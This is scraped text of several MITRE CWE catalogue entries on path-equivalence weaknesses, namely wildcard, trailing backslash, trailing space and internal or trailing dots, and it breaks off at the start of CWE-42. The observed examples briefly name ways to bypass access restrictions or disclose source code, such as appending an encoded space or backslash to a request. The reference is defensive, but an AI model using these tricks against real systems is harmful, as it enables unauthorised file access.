The product accepts path input in the form of asterisk wildcard ('filedir*') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.155Improper Neutralization of Wildcards or Matching Symbols
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
List directories using desired path and "*"
List files in web server using "*.ext"
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERfiledir* (asterisk / wildcard)
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Asterisk Wildcard - filedir*

CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash)

Weakness ID: 54
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts path input in the form of trailing backslash ('filedir\') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.162Improper Neutralization of Trailing Special Elements
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
web framework for .NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash)
Bypass directory access restrictions using trailing dot in URL
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERfiledir\ (trailing backslash)
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Trailing Backslash - (filedir\)

CWE-46: Path Equivalence: 'filename ' (Trailing Space)

Weakness ID: 46
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts path input in the form of trailing space ('filedir ') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.162Improper Neutralization of Trailing Special Elements
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.289Authentication Bypass by Alternate Name
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Source disclosure via trailing encoded space "%20"
Multi-Factor Vulnerability (MFV). directory traversal and other issues in FTP server using Web encodings such as "%20"; certain manipulations have unusual side effects.
Trailing space ("+" in query string) leads to source code disclosure.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERTrailing Space - 'filedir '
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Trailing Space - 'filedir '

CWE-44: Path Equivalence: 'file.name' (Internal Dot)

Weakness ID: 44
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts path input in the form of internal dot ('file.ordir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.45Path Equivalence: 'file...name' (Multiple Internal Dot)
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

An improper attempt to remove the internal dots from the string could lead to CWE-181 (Incorrect Behavior Order: Validate Before Filter).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInternal Dot - 'file.ordir'
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Internal Dot - 'file.ordir'

CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot)

Weakness ID: 45
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts path input in the form of multiple internal dot ('file...dir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.165Improper Neutralization of Multiple Internal Special Elements
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.44Path Equivalence: 'file.name' (Internal Dot)
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

An improper attempt to remove the internal dots from the string could lead to CWE-181 (Incorrect Behavior Order: Validate Before Filter).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMultiple Internal Dot - 'file...dir'
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Multiple Internal Dot - 'file...dir'

CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot)

Weakness ID: 43
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts path input in the form of multiple trailing dot ('filedir....') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.163Improper Neutralization of Multiple Trailing Special Elements
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.42Path Equivalence: 'filename.' (Trailing Dot)
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Multiple trailing dot allows directory listing
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMultiple Trailing Dot - 'filedir....'
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Observed_Examples
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Multiple Trailing Dot - 'filedir....'

CWE-42: Path Equivalence: 'filename.' (Trailing Dot)

Weakness ID: 42
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
